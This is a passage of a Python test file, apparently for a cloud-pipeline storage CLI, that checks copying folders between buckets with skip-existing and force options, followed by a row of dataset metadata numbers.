source_folder = "cp://%s/%s/" % (self.bucket_name, case)
try:
create_test_file(destination1, TestFiles.COPY_CONTENT)
expected = ObjectInfo(True).build(destination1)
pipe_storage_cp(os.path.abspath(self.test_file_1), source_folder)
pipe_storage_cp(os.path.abspath(self.test_file_2), source_folder)
assert object_exists(self.bucket_name, os.path.join(case, self.test_file_1))
assert object_exists(self.bucket_name, os.path.join(case, self.test_file_2))
pipe_storage_cp(source_folder, destination_folder, force=True, recursive=True, skip_existing=True)
assert os.path.exists(destination1)
assert os.path.exists(destination2)
actual = ObjectInfo(True).build(destination1)
assert not expected.size == actual.size, "Sizes must be the different."
assert not expected.last_modified == actual.last_modified, \
"Last modified time of destination and source file must be different."
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
@pytest.mark.run(order=6)
def test_copy_folder_between_buckets_with_skip_existing_option_should_skip(self):
case = "EPMCMBIBPC-2207"
source_folder = "cp://%s/%s/" % (self.bucket_name, case)
destination_folder = "cp://%s/%s/" % (self.other_bucket_name, case)
key1 = os.path.join(case, self.test_file_1)
key2 = os.path.join(case, self.test_file_2)
try:
expected = create_file_on_bucket(self.other_bucket_name, key1, os.path.abspath(self.test_file_1))
pipe_storage_cp(os.path.abspath(self.test_file_1), "cp://%s/%s" % (self.bucket_name, key1))
pipe_storage_cp(os.path.abspath(self.test_file_2), "cp://%s/%s" % (self.bucket_name, key2))
assert object_exists(self.bucket_name, key1)
assert object_exists(self.bucket_name, key2)
pipe_storage_cp(source_folder, destination_folder, force=True, recursive=True, skip_existing=True)
assert object_exists(self.other_bucket_name, key1)
assert object_exists(self.other_bucket_name, key2)
actual = ObjectInfo(False).build(self.other_bucket_name, key1)
assert expected.size == actual.size, \
"Sizes must be the same.\nExpected %s\nActual %s" % (expected.size, actual.size)
assert expected.last_modified == actual.last_modified, \
"Last modified time of destination and source file must be the same.\n" \
"Expected %s\nActual %s".format(expected.last_modified, actual.last_modified)
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
@pytest.mark.run(order=6)
def test_copy_folder_between_buckets_with_skip_existing_option_should_not_skip(self):
case = "EPMCMBIBPC-2208"
key1 = os.path.join(case, self.test_file_1)
key2 = os.path.join(case, self.test_file_2)
source_folder = "cp://%s/%s/" % (self.bucket_name, case)
destination_folder = "cp://%s/%s/" % (self.other_bucket_name, case)
try:
expected = create_file_on_bucket(self.other_bucket_name, key1, os.path.abspath(self.test_file_2))
pipe_storage_cp(os.path.abspath(self.test_file_1), "cp://%s/%s" % (self.bucket_name, key1))
pipe_storage_cp(os.path.abspath(self.test_file_2), "cp://%s/%s" % (self.bucket_name, key2))
assert object_exists(self.bucket_name, key1)
assert object_exists(self.bucket_name, key2)
pipe_storage_cp(source_folder, destination_folder, force=True, recursive=True, skip_existing=True)
assert object_exists(self.other_bucket_name, key1)
assert object_exists(self.other_bucket_name, key2)
actual = ObjectInfo(False).build(self.other_bucket_name, key1)
assert not expected.size == actual.size, "Sizes must be the different."
assert not expected.last_modified == actual.last_modified, \
"Last modified time of destination and source file must be different."
except BaseException as e:
pytest.fail("Test case {} failed. {}".format(case, e.message))
def _create_folder_on_bucket(self, case):
source_files = os.path.abspath(self.test_folder)
source1 = os.path.join(source_files, self.test_file_1)
source2 = os.path.join(source_files, self.test_file_with_other_extension)
source3 = os.path.join(source_files, self.test_folder, self.test_file_1)
pipe_storage_cp(source1, "cp://%s/%s/%s" % (self.bucket_name, case, self.test_file_1))
pipe_storage_cp(source2, "cp://%s/%s/%s" % (self.bucket_name, case, self.test_file_with_other_extension))
pipe_storage_cp(source3, "cp://%s/%s/%s/%s" % (self.bucket_name, case, self.test_folder, self.test_file_1))
| 63.027548 | 120 | 0.648062 | 5,944 | 45,758 | 4.697005 | 0.042732 | 0.047065 | 0.067051 | 0.053082 | 0.908378 | 0.884702 | 0.855475 | 0.826892 | 0.797808 | 0.775852 | 0 | 0.015309 | 0.234866 | 45,758 | 725 | 121 | 63.114483 | 0.782126 | 0.022663 | 0 | 0.571659 | 0 | 0 | 0.086513 | 0.006502 | 0 | 0 | 0 | 0 | 0.167472 | 1 | 0.05314 | false | 0 | 0.004831 | 0 | 0.090177 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
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